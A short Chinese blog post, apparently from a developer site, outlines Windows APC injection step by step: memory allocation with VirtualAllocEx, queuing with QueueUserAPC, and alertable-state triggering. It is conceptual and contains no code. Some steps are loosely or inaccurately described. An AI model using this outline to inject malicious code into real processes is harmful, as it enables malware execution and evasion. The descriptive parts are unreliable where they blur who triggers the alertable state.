Windows APC(Asynchronous Procedure Call)注入是一种常见的注入技术,它利用了 Windows 操作系统中的异步过程调用机制来实现注入。具体原理如下: 1. 创建目标进程 首先,攻击者需要创建一个目标进程,该进程将作为注入目标。一般情况下,攻击者会选择一个易受攻击的进程,例如 Windows Explorer。 2. 分配内存空间 攻击者需要在目标进程中分配一块内存空间,用于存放要注入的代码。可以使用 VirtualAllocEx 等函数来实现。 3. 编写注入代码 接下来,攻击者需要编写注入代码,并将其写入到之前分配的内存空间中。注入代码通常是一个 DLL 文件,其中包含了攻击者想要执行的恶意代码。同时,在注入代码中还需要将恶意代码的入口点指向一个 APC 回调函数。 4. 调用 QueueUserAPC 函数 接下来,攻击者需要在目标进程中的某个线程上调用 QueueUserAPC 函数,并将之前分配的内存空间中的 APC 回调函数作为参数。这样,当目标进程的线程下一次进入 Alertable 状态时,它将执行注入代码中的 APC 回调函数。 5. 触发注入 最后,攻击者需要触发目标进程中的线程进入 Alertable 状态。可以使用 Sleep、WaitForSingleObject 等函数来实现。 总之,APC 注入技术是一种高级的注入技术,攻击者可以通过它将恶意代码注入到目标进程中,并在其中执行。然而,这种技术也有一定的局限性,例如无法注入到特权级较高的进程中。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值